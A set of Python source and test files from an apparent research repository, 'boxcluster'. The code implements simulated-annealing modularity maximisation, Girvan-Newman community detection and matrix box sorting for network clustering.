return modularity(modules, self.global_net, self.L)
def successor(self, T):
'''For each temperature T, we define fS**2 single node movements,
and fS collective movements where a collected movement is either
the merging of two modules or the splitting of a single module.
'''
# get the number of possible successors:
return self.single_moves(T=T)
def get_random_partition(self, G):
# select two random subgraphs of G
module_a = []
all_nodes = G.nodes()
for i in range(int(len(G) / 2)):
node = random.choice(all_nodes)
module_a.append(node)
all_nodes.remove(node)
modules = []
modules.append(module_a)
modules.append(all_nodes)
return modules
|
peterwinter/boxcluster | modularity/GirvanNewman.py | #! /usr/bin/env python
"""
Implementation of the GirvanNewman algorithm
for finding the best modularity in a network
"""
import copy
import random
import networkx as nx
from .base import modularity
from .base import largest_connected
def get_graph(filename):
G = nx.Graph()
f = open(filename)
data = f.readlines()
edges = []
for line in data:
entry = map(int, line.rstrip().split())
if entry:
edges.append(tuple(entry))
G.add_edges_from(edges)
f.close()
return G
def make_inverse_dict(d):
inverse_map = {}
for k, v in d.items():
inverse_map.setdefault(v, [])
inverse_map[v].append(k)
return inverse_map
def girvan_newman(G):
ranked_betweenness_edges = nx.edge_betweenness(G)
inverse_map = make_inverse_dict(ranked_betweenness_edges)
max_edge_key = max(ranked_betweenness_edges.values())
max_edge_choice = random.choice(range(len(inverse_map[max_edge_key])))
max_edge = inverse_map[max_edge_key][max_edge_choice]
G.remove_edge(max_edge[0], max_edge[1])
if len(G.edges()) <= 2:
return [max_edge] + G.edges()
else:
return [max_edge] + girvan_newman(G)
# def get_protected_edges(G, similar_sets):
# protected_edges = []
# for s in similar_sets:
# for u in s:
# for v in s[1:]:
# if G.has_edge(u, v):
# protected_edges.append((u, v))
# return protected_edges
def find_unprotected_edge(ranks, d, max_edge, protected_edges):
protected_edge = True
while protected_edge:
index = max(ranks)
protected_edge = False
while max_edge in protected_edges:
protected_edge = True
if len(d[index]) > 1:
d[index].remove(max_edge)
else:
ranks.remove(max(ranks))
index = max(ranks)
max_edge = random.choice(d[index])
if max_edge in protected_edges:
print( "wrong!")
return max_edge
def girvan_newman_partition(G, partition_count, protected_edges=None):
ranked_betweenness_edges = nx.edge_betweenness(G)
inverse_map = make_inverse_dict(ranked_betweenness_edges)
max_edge_key = max(ranked_betweenness_edges.values())
max_edge_choice = random.choice(range(len(inverse_map[max_edge_key])))
max_edge = inverse_map[max_edge_key][max_edge_choice]
if protected_edges:
ranks = ranked_betweenness_edges.values()
ranks.sort()
ranks.reverse()
if len(ranked_betweenness_edges.keys()) > len(protected_edges):
#imperfect, but faster than computing set differences
max_edge = find_unprotected_edge(ranks, copy.copy(inverse_map),
max_edge, protected_edges)
else:
candidates = list(
set(ranked_betweenness_edges.keys()).difference(
set(protected_edges)))
if len(candidates) > 0:
while max_edge not in candidates:
max_edge = find_unprotected_edge(
ranks, copy.copy(inverse_map), max_edge,
protected_edges)
G.remove_edge(max_edge[0], max_edge[1])
if nx.number_connected_components(G) >= partition_count:
return [max_edge]
else:
return [max_edge] + girvan_newman_partition(G, partition_count,
protected_edges)
def get_strong_similarity_regions(similarity_matrix, threshold=1.0):
# for the i-th row and j-th column, consider the
# upper triangular matrix for "blocks" of similarlity
similar_regions = []
i = 0
while i < len(similarity_matrix):
region = [i]
contiguous = 0
for j in range(i + 1, len(similarity_matrix[0])):
if similarity_matrix[i, j] >= threshold:
region.append(j)
contiguous += 1
if len(region) > 0:
similar_regions.append(region)
i += 1 + contiguous
return similar_regions
def get_similarity_matrix(similarity_matrix_file):
sm_file = open(similarity_matrix_file)
sm_raw_data = sm_file.readlines()
sm_file.close()
similarity_matrix = None
#similarity_matrix = np.array(map(string.split,sm_raw_data), float)
return similarity_matrix
def greedy_partitioning(G, P0=1, similarity_matrix=None):
# get the total number of edges
L = G.size()
last_partitioning = nx.to_numpy_matrix(G)
if P0 == 1:
# get the giant component
G = largest_connected(G)[0]
best_modularity = modularity([G], L)
else:
best_modularity = modularity(largest_connected(G))
current_modularity = copy.copy(best_modularity)
number_of_partitions = P0
while best_modularity <= current_modularity:
if current_modularity >= best_modularity:
best_modularity = copy.copy(current_modularity)
number_of_partitions += 1
removal_order = girvan_newman_partition(G, number_of_partitions)
current_modularity = modularity(
largest_connected(G), L)
last_partitioning = nx.to_numpy_matrix(G)
if len(removal_order) == 1:
G.add_edge(removal_order[0][0], removal_order[0][1])
else:
G.add_edges_from(removal_order)
partitions = nx.from_numpy_matrix(last_partitioning)
return partitions
def main():
#initialization: read parameters
similarity_matrix_present = False
# optlist, args = getopt.getopt(sys.argv[1:], 'p:')
#assume that the graph file is a set of edges as in Marta's subnet.dat files
graph_file = "testnet.dat" #args[0]
#is a coclassification file present?
# for o,a in optlist:
# if o == "-p":
# similarity_matrix_present=True
# similarity_matrix_file = a
G = get_graph(graph_file)
# get the total number of edges
L = G.size()
# get the giant component
G = list(largest_connected(G))[0]
# similarity_matrix_file = "sample_similarity.dat"
# similarity_matrix = get_similarity_matrix(similarity_matrix_file)
# similarity_regions = get_strong_similarity_regions(similarity_matrix)
# protected_edges = get_protected_edges(G, similarity_regions)
# print( 'protected edges:')
# print( protected_edges)
number_of_partitions = 1
best_modularity = modularity([G], L)
current_modularity = copy.copy(best_modularity)
last_partitioning = nx.to_numpy_matrix(G)
while best_modularity <= current_modularity:
if current_modularity >= best_modularity:
best_modularity = copy.copy(current_modularity)
number_of_partitions += 1
removal_order = girvan_newman_partition(G, number_of_partitions)
current_modularity = modularity(largest_connected(G), L)
last_partitioning = nx.to_numpy_matrix(G)
if len(removal_order) == 1:
G.add_edge(removal_order[0][0], removal_order[0][1])
else:
G.add_edges_from(removal_order)
partitions = nx.from_numpy_matrix(last_partitioning)
print( "best modularity: " + str(best_modularity))
print( "number of partitions:" + str(number_of_partitions))
print( "partitions:")
for p in largest_connected(partitions):
print( "nodes:")
print( p.nodes())
print( "edges:")
print( p.edges())
if __name__ == "__main__":
main()
|
peterwinter/boxcluster | test_boxorder.py | import numpy as np
from .boxorder import OrderedArray
from .fake_data import generate_nested_data
test_soln = generate_nested_data(noise=0.05)
blankmove = np.arange(len(test_soln))
def ordered_array_ok(oa):
# all lengths must be same
N = len(oa)
assert len(oa) == len(oa.order) == len(oa.matrix)
# order must contain all integers up to N - 1
assert set(oa.order) == set(np.arange(N))
def init_ok(oa):
N = len(oa)
assert (oa.order == np.arange(N)).all()
def test_single_random_reorder():
# random reorder move
oa_solution = OrderedArray(matrix=test_soln)
init_ok(oa_solution)
oa2 = oa_solution.copy()
# generate new order
n = len(test_soln)
new_move = np.arange(n)
np.random.shuffle(new_move)
inv_order = np.argsort(new_move)
# reorder Ordered Array
oa2.reorder(new_move)
ordered_array_ok(oa2)
# for a fresh array,
# result the array's order should equal the new order
assert (oa2.order == new_move).all()
# check that inversion functions work
assert (oa2.inverse_order() == inv_order).all()
assert (oa2.origional_matrix() == oa_solution.matrix).all()
# return order back to origional
oa3 = oa2.copy()
oa3.reorder(inv_order)
# both the order and the matrix are back to normal
assert (oa3.order == np.arange(n)).all()
assert (oa3.matrix == oa_solution.matrix).all()
def test_blank_reorder():
# blank move
oa_solution = OrderedArray(matrix=test_soln)
oa2 = oa_solution.copy()
oa2.reorder(blankmove)
# new order is same as orignional order is same as blankmove
assert (oa2.order == blankmove).all()
assert (oa2.order == oa_solution.order).all()
# new matrix is same as orignional matrix
assert (oa2.matrix == oa_solution.matrix).all()
assert (oa2.origional_matrix() == oa_solution.matrix).all()
# set up
def swap_positions(a, pos1, pos2):
a = a.copy()
a[pos1], a[pos2] = a[pos2], a[pos1]
return a
def test_double_swap():
move1 = swap_positions(blankmove, 0, 10)
move2 = swap_positions(blankmove, 10, 20)
resulting_order = blankmove.copy()[move1][move2]
# test multiple simple moves
oa_solution = OrderedArray(matrix=test_soln)
oa2 = oa_solution.copy()
oa2.reorder(move1)
assert (oa2.order == move1).all()
# mplot(oa2.matrix)
oa2.reorder(move2)
assert (oa2.order == resulting_order).all()
# mplot(oa2.matrix)
inv = oa2.inverse_order()
oa2.reorder(inv)
# mplot(oa2.matrix)
assert (oa2.order == blankmove).all()
assert (oa2.matrix == oa_solution.matrix).all()
def test_multiple_random_reorders():
# test multiple comples moves
oa_solution = OrderedArray(matrix=test_soln)
oa2 = oa_solution.copy()
move1 = blankmove.copy()
np.random.shuffle(move1)
move2 = blankmove.copy()
np.random.shuffle(move2)
oa2.reorder(move1)
assert (oa2.order == move1).all()
# clmplot(oa2.matrix)
resulting_order = blankmove[move1][move2]
oa2.reorder(move2)
assert (oa2.order == resulting_order).all()
# mplot(oa2.matrix)
inv = oa2.inverse_order()
oa2.reorder(inv)
# mplot(oa2.matrix)
assert (oa2.order == np.arange(len(oa2))).all()
assert (oa2.matrix == oa_solution.matrix).all()
|
peterwinter/boxcluster | modularity/base.py | import networkx as nx
import random
import copy
import math
import numpy as np
from collections import namedtuple
SingleMove = namedtuple('SingleMove', ('node', 'from_mod', 'to_mod'))
def largest_connected(G):
return next(nx.connected_component_subgraphs(G))
def modularity(modules, G, L):
""" calculate modularity
modularity = [list of nx.Graph objects]
G = graph
L = num of links
"""
N_m = len(modules)
M = 0.0
for s in range(N_m):
l_s = 0.0
d_s = 0
for i in modules[s]:
l_s += float(modules[s].degree(i))
d_s += float(G.degree(i))
M += (l_s / L) - (d_s / (2.0 * L))**2
return M
class BaseModularityClass(object):
def graph_check(self, G):
if G.__class__ == nx.classes.graph.Graph:
n_components = nx.number_connected_components(G)
if n_components == 1:
return G
elif n_components > 1:
return largest_connected(G)
else:
return None
else:
return None
def get_subgraphs(self, modules):
'''For each module m in a given list of modules, produces the subgraph
containing only the nodes in m.'''
subgraphs = []
# print(modules)
for s in modules:
# print(s)
if s:
subgraphs.append(self.G.subgraph(s))
return subgraphs
# TODO: make moves happen as they are chosen...
def clean_move_tuples(self, move_list):
'''Remove impossible moves from a list of triples.
Assumes moves occur iteratively.'''
move_tuples = self.moves_to_tuples(move_list)
allowable_moves = []
for m in move_tuples:
if m not in allowable_moves:
allowable_moves.append(m)
return self.tuples_to_moves(allowable_moves)
def moves_to_tuples(self, move_list):
'''Convert a list of move dictionaries to triples.'''
move_tuples = []
for m in move_list:
move_tuples.append((m["node"], m["from"], m["to"]))
return move_tuples
def tuples_to_moves(self, t_list):
'''Convert a list of triples to move dictionaries.'''
moves = []
for t in t_list:
moves.append({"node": t[0], "from": t[1], "to": t[2]})
return moves
class BaseModularitySearch(BaseModularityClass):
def calc_individual_move_n(self, fac, num_nodes):
if (fac * num_nodes**2 < 10):
num_individual_moves = 10
else:
num_individual_moves = int(fac * num_nodes**2)
return num_individual_moves
def calc_collective_move_n(self, fac, num_nodes):
if (self.fac * num_nodes < 2):
n_collective_moves = 2
else:
n_collective_moves = int(self.fac * num_nodes)
return n_collective_moves
def accepted(self, move, T):
# check the modularity
H = []
module_nodes_from = copy.deepcopy(self.modules[move["from"]])
module_nodes_to = copy.deepcopy(self.modules[move["to"]])
module_nodes_from.remove(move["node"])
module_nodes_to.append(move["node"])
for i in range(len(self.modules)):
if i != move["from"] and i != move["to"]:
H.append(self.modules[i])
elif i == move["from"]:
H.append(module_nodes_from)
elif i == move["to"]:
H.append(module_nodes_to)
new_modularity = self.cost(self.get_subgraphs(H))
if new_modularity > self.current_modularity or T == 0:
return True
else:
p = math.exp((new_modularity - self.current_modularity) / T)
if random.random() <= p:
return True
else:
return False
return False
def _probability_to_accept(self, improvement):
"""
p = 1 when no difference in fitness
p > 1 when improvement (ie. always accept)
p gets small very quickly with negative improvement
"""
return np.exp(improvement / self.box_temperature)
def accept_move(self, cur_fit, new_fit):
if new_fit < cur_fit:
return True
else:
improvement = (cur_fit - new_fit) / cur_fit
p = self._probability_to_accept(improvement)
return np.random.random() < p
def get_single_node_move(self):
'''Select two nodes at random to swap.'''
# select a node at random
node_to_move = random.choice(self.G.nodes())
# identify the partition the node is in
list_of_module_indices = list(range(len(self.modules)))
for i in list_of_module_indices:
if node_to_move in self.modules[i]:
currently_in = i
list_of_module_indices.remove(currently_in)
# choose a random partition to move to
new_partition = random.choice(list_of_module_indices)
# move = dict("node": node_to_move,
# "from": currently_in,
# "to": new_partition)
move = SingleMove(node_to_move, currently_in, new_partition)
return move
def single_moves(self, T):
single_node_movements = []
for i in range(self.n_individual_moves):
move = self.get_single_node_move()
if self.accepted(move, T):
single_node_movements.append(move)
single_node_movements = self.clean_move_tuples(single_node_movements)
self.most_recent_moves = single_node_movements
return self.do_single_node_movements(single_node_movements)
def do_single_node_movements(self, move_set):
'''Given a list of single node movements as a list of dictionaries
structured: "node","from","to", compute the resulting set of modules.
'''
# for each module, find the set of nodes added
# and the set of nodes removed from it
temporary_modules = copy.deepcopy(self.modules)
for m in move_set:
condition1 = m["node"] not in temporary_modules[m["to"]]
condition2 = m["node"] in temporary_modules[m["from"]]
# TODO: check if it should be this
# if condition1 and condition2:
if condition1:
temporary_modules[m["to"]].append(m["node"])
if condition2:
temporary_modules[m["from"]].remove(m["node"])
return temporary_modules
def sort_modules(self):
''' Sorts the node indices for each modules in self.modules in
descending order.
'''
for s in self.modules:
s.sort()
|
peterwinter/boxcluster | modmax.py | import numpy as np
import networkx as nx
from itertools import count
from .mod import Modules
from .anneal import Annealer
def largest_connected(G):
return next(nx.connected_component_subgraphs(G))
class BaseModMax(Annealer):
def graph_check(self, G):
if G.__class__ == nx.classes.graph.Graph:
n_components = nx.number_connected_components(G)
if n_components == 1:
return G
elif n_components > 1:
return largest_connected(G)
else:
return None
else:
return None
def get_subgraphs(self, modules):
'''For each module m in a given list of modules, produces the subgraph
containing only the nodes in m.'''
subgraphs = []
# print(modules)
for s in modules:
# print(s)
if s:
subgraphs.append(self.G.subgraph(s))
return subgraphs
def calc_single_move_n(self, fac, num_nodes):
if (fac * num_nodes**2 < 10):
num_individual_moves = 10
else:
num_individual_moves = int(fac * num_nodes**2)
return num_individual_moves
def calc_group_move_n(self, fac, num_nodes):
if (fac * num_nodes < 2):
n_group_moves = 2
else:
n_group_moves = int(fac * num_nodes)
return n_group_moves
class ModMax(BaseModMax):
maximize = True
def __init__(self, network):
# self.matrix_size = len(matrix)
# self.matrix = matrix
self.G = self.graph_check(network)
self.L = len(self.G)
self._since_last_move = 0
self._moves_this_temp = 0
cooling_factor = 0.999
temperature = 0.001
finishing_criterion = 1
self.cooling_factor = cooling_factor
self.temp = temperature
self.finishing_criterion = finishing_criterion
def evaluate_fitness(self, candidate, **kwargs):
candidate.calculate_fitness(**kwargs)
def _initialize_state(self, modules=None, n_modules=2):
self._since_last_move = 0
self._moves_this_temp = 0
if modules is None:
modules = Modules.random_initialization(
G=self.G, L=self.L, num_modules=n_modules)
self.current = modules
def __call__(self,
cooling_factor=0.999,
temperature=0.001,
finishing_criterion=1,
modules=None,
n_modules=2,
save_history=False):
# save input parameters
self.cooling_factor = cooling_factor
self.temp = temperature
self.finishing_criterion = finishing_criterion
self.history = []
# run solver
# create self.current
self._initialize_state(modules=modules, n_modules=n_modules)
fac = 0.80
num_nodes = self.L
single_moves = self.calc_single_move_n(fac, num_nodes)
group_moves = self.calc_group_move_n(fac, num_nodes)
i = 0
for j in count():
for _ in range(single_moves):
candidate = self.propose_single_move()
trace = self.evaluate_move(candidate, i)
if save_history:
self.history.append(trace)
i += 1
for _ in range(group_moves):
candidate = self.propose_group_move()
trace = self.evaluate_move(candidate, i)
if save_history:
self.history.append(trace)
i += 1
if self._break_condition():
break
self.decrease_temp()
return self.current
def evaluate_move(self, candidate, i):
new_fit = candidate.fitness
cur_fit = self.current.fitness
move_accepted = False
self._update(candidate)
if self.accept_move(cur_fit, new_fit):
self.current = candidate
move_accepted = True
self._since_last_move = 0
return self.make_trace(i, move_accepted, candidate)
def propose_single_move(self):
candidate = self.current.copy()
candidate.move_random_single()
self.evaluate_fitness(candidate, G=self.G, L=self.L)
return candidate
def propose_group_move(self):
candidate = self.current.copy()
move_type = np.random.choice(['split', 'merge'])
# if one type of move doesn't work do the other type
move_occured = False
i = 0
while move_occured is False:
if move_type == 'merge':
move_occured = candidate.move_random_merge()
move_type = 'split'
if move_type == 'split':
move_occured = candidate.move_random_split()
move_type = 'merge'
# add this for safeguard if neither type works
i += 1
if i > 2:
print('WTF! this should never happen')
self.evaluate_fitness(candidate, G=self.G, L=self.L)
return candidate
def _break_condition(self):
n = self.L * 2
lower_limit = 100
if n < lower_limit:
n = lower_limit
if self._since_last_move > n:
return True
return False
def decrease_temp(self):
# TODO: make depend on cooling factor
self.temp *= 0.9
|
peterwinter/boxcluster | modularity/ModularitySA.py | from .base import modularity
from .base import BaseModularitySearch
import random
import copy
import math
from . import NestedSA as MNSA
limit = 25
class ModularitySAProblem(BaseModularitySearch):
def __init__(self, G, Ti=1.0, Tf=0.005, Ts=0.995, f=1, fac=0.10):
'''Sets the initial state for the problem. The state is
a list of modules, each containing a list of nodes.
We should include the giant component (or current partition)
of a graph such that there is one connected component
'''
self.G = self.graph_check(G)
self.Ti = Ti
self.Tf = Tf
self.Ts = Ts
if self.G is not None:
self.global_net = copy.deepcopy(G)
self.initialize_search(G, f, fac)
num_nodes = len(G)
self.n_individual_moves = self.calc_individual_move_n(fac, num_nodes)
self.n_collective_moves = self.calc_collective_move_n(fac, num_nodes)
def initialize_search(self, G, f, fac):
# select a random number of partitions to begin with (range 2-7)
p = 2 # random.choice(range(2,8))
# initially we assume that all nodes are in the same module
self.initial = self.get_random_partition(G, p)
self.modules = copy.deepcopy(self.initial)
self.L = G.size()
subgraphs = self.get_subgraphs(self.modules)
self.current_modularity = modularity(subgraphs, self.global_net, self.L)
self.f = f
self.fac = fac
self.most_recent_moves = None
def anneal(self):
''' While temperature T is less than final temperature
(and convergence has not been reached)
at each energy step take a successor and evaluate it's
relative improvement using metropolis-style acceptance criteria.
'''
T = self.Ti
count = 0
while T > self.Tf and count <= limit:
self.sort_modules()
old_modules = copy.deepcopy(self.modules)
move_modules = self.successor(T)
# TODO: remove this
if move_modules is None:
print('move modules is none')
continue
if old_modules is None:
print('old modules is none')
continue
try:
new_energy = self.cost(move_modules)
old_energy = self.cost(old_modules)
except:
print('why did this happen')
# delta = new_energy - old_energy # was this
delta = (new_energy - old_energy) / old_energy
if new_energy > old_energy:
self.modules = move_modules
self.current_modularity = new_energy
elif new_energy == old_energy:
count += 1
self.modules = old_modules
self.current_modularity = old_energy
else:
p = math.exp(delta / T)
if random.random() <= p:
# print "accept with p:" + str(math.exp(delta/T))
# print "p = " + str(p)
self.modules = move_modules
self.current_modularity = new_energy
else:
self.modules = old_modules
self.current_modularity = old_energy
# sanity check
total_nodes = 0
for s in self.modules:
total_nodes += len(s)
if total_nodes != len(self.G):
print("Node mismatch!")
print(self.modules)
print(self.most_recent_moves)
for i in range(len(self.modules)):
for j in range(i + 1, len(self.modules)):
if not set(self.modules[i]).isdisjoint(
set(self.modules[j])):
intersection = set(self.modules[i]) & set(
self.modules[j])
for k in intersection:
self.modules[i].remove(k)
print(self.modules)
#check for empty modules
for s in self.modules:
if len(s) == 0:
self.modules.remove(s)
self.current_modularity = self.value()
T *= self.Ts
def value(self):
'''Evaluate the cost of the current list of modules.'''
return self.cost(self.modules)
def cost(self, modules):
'''Compute the modularity measure (as in Newman)
given a set of partitions.'''
sub = self.get_subgraphs(modules)
try:
return modularity(sub, self.global_net, self.L)
except:
print('BREAK')
print(modules)
print(sub)
print(self.global_net)
print(self.L)
print(modularity)
def successor(self, T):
'''For each temperature T, we define fS**2 single node movements,
and fS collective movements where a collected movement is either
the merging of two modules or the splitting of a single module.'''
# get the number of possible successors:
# Single Node Part of Problem
if len(self.modules) > 1:
# Do the single node movements
self.modules = self.single_moves(T=T)
self.collective_moves(T=T)
def collective_moves(self, T):
# Do the collective movements
n_collective_moves = self.n_collective_moves
collective_movements = []
H = copy.deepcopy(self.modules)
for i in range(n_collective_moves):
# select whether to merge or split
collective_move_type = random.choice(["merge", "split"])
if len(self.modules) == 1:
collective_move_type = "split"
if collective_move_type == "merge":
merge_move = self.get_merge_move(H)
if self.collective_accepted(merge_move, T):
# collective_movements.append(merge_move)
H = merge_move["result"]
elif collective_move_type == "split":
split_move = self.get_split_move(H)
if self.collective_accepted(split_move, T):
# collective_movements.append(split_move)
H = split_move["result"]
# check for empty modules
for s in H:
if len(s) == 0:
H.remove(s)
return H
def get_split_move(self, modules=None):
'''Uses simulated annealing to split a randomly selected module.
Annealing is provided by NestedSA.py'''
if not modules:
modules = self.modules
# select a module to split
module_to_split = random.choice(modules)
# if there are no edges, propose a move instead
if self.G.subgraph(module_to_split).size() == 0:
return self.get_merge_move()
module_index = modules.index(module_to_split)
old_modules = copy.deepcopy(modules)
sa = MNSA.ModularityNestedSA(self.G.subgraph(module_to_split), self.G)
sa.anneal()
new_module_graphs = sa.modules
new_modules = []
# print "after split:"
for m in new_module_graphs:
new_modules.append(m)
result_modules = copy.deepcopy(modules)
result_modules.pop(module_index)
result_modules += new_modules
# print result_modules
modules = old_modules
move = {"type": "split",
"split": module_to_split,
"new": new_modules,
"result": result_modules}
return move
def get_merge_move(self, modules=None):
'''Select two modules at random and merge them.'''
if not modules:
modules = self.modules
if len(modules) == 1:
return self.get_split_move(modules)
# select two modules at random
module_list_copy = copy.deepcopy(modules)
module_a = random.choice(module_list_copy)
module_b = random.choice(module_list_copy)
while module_b == module_a:
module_b = random.choice(module_list_copy)
module_list_copy.remove(module_a)
module_list_copy.remove(module_b)
new_module = module_a + module_b
# sanity check
if len(module_a) + len(module_b) != len(new_module):
print("Merge error, nodes lost!")
print(module_a)
print(module_b)
print(new_module)
module_list_copy.append(new_module)
move = {"type": "merge",
"grown": module_a,
"removed": module_b,
"result": module_list_copy}
return move
def collective_accepted(self, move, T):
'''Tests to see if module-wide moves (merges and splits) are accepted under
metropolis conditions.'''
new_modularity = self.cost(move["result"])
old_modularity = self.cost(self.modules)
if new_modularity > old_modularity:
return True
else:
if random.random() <= math.exp((new_modularity - old_modularity) / T):
return True
else:
return False
return False
def clean_move_list(self, move_list):
'''Given a list of single-node movements, removes any impossible moves from the
set (if it were processed as an iterative list of instructions).'''
if len(move_list) > 1:
R = len(move_list)
i = 0
while i < R:
j = 0
while j < R:
print("i:" + str(i) + " j:" + str(j) + " R:" + str(R))
if i != j:
if move_list[i]["node"] == move_list[j][
"node"] and move_list[i]["from"] == move_list[
j]["from"]:
move_list.pop(j)
elif move_list[i]["node"] == move_list[j][
"node"] and move_list[i]["to"] == move_list[j][
"to"]:
move_list.pop(j)
j += 1
R = len(move_list)
i += 1
if i == R:
return move_list
return move_list
def get_random_partition(self, G, num_modules=2):
'''Selects a partitioning (into num_modules partitions) at random of
the NetworkX graph G.'''
# select two random subgraphs of G
modules = dict()
for i in range(num_modules - 1):
modules.setdefault(i, [])
all_nodes = G.nodes()
nodes_to_remove = int((num_modules - 1) * len(G) / num_modules)
for i in range(nodes_to_remove):
node = random.choice(all_nodes)
s = random.choice(range(num_modules - 1))
modules[s].append(node)
all_nodes.remove(node)
partitions = []
for s in modules.keys():
partitions.append(modules[s])
partitions.append(all_nodes)
return partitions
|
peterwinter/boxcluster | test_boxcut.py | <gh_stars>1-10
import pytest
from . import BoxCut
from . import fake_data
def check_box_integrity(boxlist):
""" values must be ordered integers. no duplicates."""
values = sorted(set(boxlist))
assert len(values) == len(boxlist)
for i, j in zip(values, boxlist):
assert i == j
assert type(i) == int
@pytest.fixture()
def boxcut1():
test_matrix = fake_data.generate_nested_data()
bc = BoxCut(test_matrix)
bc()
return bc
class TestBoxCutBasics:
# potentially testable
def test_propose_box_move(self, boxcut1):
bc = boxcut1
# print(boxcut1.boxes)
# bc.test_propose_box_move(boxes)
def test_probability_to_accept(self, boxcut1):
""" p must be between 0 and 1 """
bc = boxcut1
temp1 = bc.temp
p = bc._probability_to_accept(improvement=0)
assert abs(p-1) < 0.0001
p = bc._probability_to_accept(improvement=0.5)
assert p >= 1
# assert p == 1
p = bc._probability_to_accept(improvement=-0.1*temp1)
assert 0 < p < 1
# lower temperature should have lower probability
p = bc._probability_to_accept(improvement=-0.1)
bc.temp = bc.temp * 0.5
p2 = bc._probability_to_accept(improvement=-0.1)
assert p2 < p
def test_move_is_accepted(self, boxcut1):
bc = boxcut1
print('hey')
def test_update_if_best(self, boxcut1):
bc = boxcut1
boxes = bc.current
print(boxes)
candidate = boxes.pop(0)
# bc._update_if_best(self, candidate)
# def _evaluate_box_fitness(self, boxes=None, matrix=None):
# too extensive to test properly
# def box_turn(self):
# def _initialize_search(self, matrix):
# def fit_boxes(self, matrix=None, debug=False):
# def _iter_solve(self, matrix, debug=False):
def test_pass(self):
pass
class TestBoxCutSolution:
# run debug. check properties in dataframe
# def debug(self, matrix):
def test_pass(self):
pass
|
peterwinter/boxcluster | anneal.py | <filename>anneal.py<gh_stars>1-10
import numpy as np
from itertools import count
from collections import namedtuple
# from collections import abc
class BaseAnnealer(object):
def _probability_to_accept(self, improvement):
return np.exp(improvement / self.temp)
def accept_move(self, cur_fit, new_fit):
new_fit_larger = new_fit > cur_fit
delta = new_fit - cur_fit
if self.maximize:
if new_fit_larger:
return True
else:
if not new_fit_larger:
return True
delta = -delta
norm = np.abs(cur_fit)
if norm < 0.0001:
norm == 0.0001
improvement = delta / norm
p = self._probability_to_accept(improvement)
return np.random.random() < p
def decrease_temp(self, fraction_moved=0.2):
if fraction_moved > 0.1:
self.temp *= self.cooling_factor**100
else:
c_f = fraction_moved * 1000.
self.temp *= self.cooling_factor**int(np.ceil(c_f))
def _temp_block_finished(self, i, block_size):
return not (i % block_size)
class Annealer(BaseAnnealer):
# __metaclass__ = abc.ABCMeta
maximize = True
Trace = namedtuple('trace', ('evals',
'last_move',
'moves_this_temp',
'move_accepted',
'temp',
'current_fit',
'new_fit'))
# @abc.abstractmethod
def propose_move(self):
# propose move
pass
# @abc.abstractmethod
def evaluate_fitness(self, candidate):
candidate.calculate_fitness()
def __init__(self, obj):
self.current = obj
def turn(self, i, only_count_best=False):
candidate = self.propose_move()
new_fit = candidate.fitness
cur_fit = self.current.fitness
move_accepted = False
self._update(candidate)
if self.accept_move(cur_fit, new_fit):
move_accepted = True
# if only_count_best & (new_fit > cur_fit):
if only_count_best:
if (new_fit > cur_fit):
self._since_last_move = 0
else:
self._since_last_move = 0
self._moves_this_temp += 1
trace = self.make_trace(i, move_accepted, candidate)
if move_accepted:
self.current = candidate
return trace
def make_trace(self, i, move_accepted, candidate):
return self.Trace(i,
self._since_last_move,
self._moves_this_temp,
move_accepted,
self.temp,
self.current.fitness,
candidate.fitness)
def __call__(self,
cooling_factor=0.999,
temperature=0.001,
finishing_criterion=1,
boxes=None,
save_history=False):
# save input parameters
self.cooling_factor = cooling_factor
self.temp = temperature
self.finishing_criterion = finishing_criterion
self.history = []
# run solver
block_size = 100
self._initialize_state(boxes=boxes)
for i in count():
state = self.turn(i)
# break if done
if self._break_condition(state):
break
# save states if appropriate
if self.save_history:
self.history.append(state)
# increment temperature
if self._temp_block_finished(i, block_size):
state = self.decrease_temp(state)
return self.obj
def _update(self, candidate):
self._since_last_move += 1
def _initialize_state(self, matrix, boxes=None):
pass
|
peterwinter/boxcluster | boxsort.py | <reponame>peterwinter/boxcluster<gh_stars>1-10
#!/usr/bin/env python
"""structures for performing a couple of different clustering algorithms. most
notably, performs matrix sorting as described in marta's pnas, using simulated
annealing"""
from itertools import count
from .anneal import Annealer
from .boxorder import OrderedArray
class BoxSort(Annealer):
maximize = True
def __init__(self, matrix):
self.matrix_size = len(matrix)
self.matrix = matrix
self._since_last_move = 0
self._moves_this_temp = 0
cooling_factor = 0.999
temperature = 0.001
finishing_criterion = 1
self.cooling_factor = cooling_factor
self.temp = temperature
self.finishing_criterion = finishing_criterion
def propose_move(self):
candidate = self.current.copy()
candidate.propose_move()
return candidate
def _initialize_state(self, order=None):
self._since_last_move = 0
self._moves_this_temp = 0
current = OrderedArray(self.matrix, order=order)
self.current = current
def __call__(self,
cooling_factor=0.999,
temperature=0.001,
finishing_criterion=1,
order=None,
save_history=False):
# save input parameters
self.cooling_factor = cooling_factor
self.temp = temperature
self.finishing_criterion = finishing_criterion
self.history = []
# determine temperature block size
block_size = int(self.matrix_size * (100 + self.matrix_size) / 100)
self.finishing_threshold = self.finishing_criterion * block_size
self._initialize_state(order=order)
for i in count():
trace = self.turn(i, only_count_best=True)
# print(trace)
# break if done
if self._break_condition():
break
# save states if appropriate
if save_history:
self.history.append(trace)
# increment temperature
if self._temp_block_finished(i, block_size):
fraction_moved = float(self._moves_this_temp) / block_size
self.decrease_temp(fraction_moved)
self._moves_this_temp = 0
return self.current
def _break_condition(self):
if self._since_last_move > self.finishing_threshold:
return True
return False
# def decrease_temp(self):
# # TODO: Actually calculate fraction moved...
# fraction_moved = 0.2
# if fraction_moved > 0.1:
# self.temp *= self.cooling_factor**100
# else:
# c_f = fraction_moved * 1000.
# self.temp *= self.cooling_factor**int(np.ceil(c_f))
# unchanged from anneal...
def _temp_block_finished(self, i, block_size):
return not (i % block_size)
|
peterwinter/boxcluster | boxlist.py | <filename>boxlist.py
from collections import abc
from itertools import permutations
from .mixins import FitnessEqualitiesMixin
import random
import numpy as np
class BaseBoxList(abc.MutableSequence, FitnessEqualitiesMixin):
""" basic class functionality """
def __init__(self, boxes=[], fitness=np.inf):
self.boxes = boxes
self.fitness = fitness
def copy(self):
return self.__class__(boxes=self.boxes.copy(), fitness=self.fitness)
def __getitem__(self, key):
return self.boxes[key]
def __setitem__(self, key, value):
self.boxes[key] = value
def __delitem__(self, key):
del self.boxes[key]
def __len__(self):
return len(self.boxes)
def __repr__(self):
f = round(self.fitness, ndigits=2)
return 'Fit:{f} Boxes: {b}'.format(f=f, b=self.boxes)
def insert(self, key, value):
self.boxes.insert(key, value)
def items(self):
boxes = self.boxes
yield 0, boxes[0]
for begin, end in zip(boxes, boxes[1:]):
yield begin, end
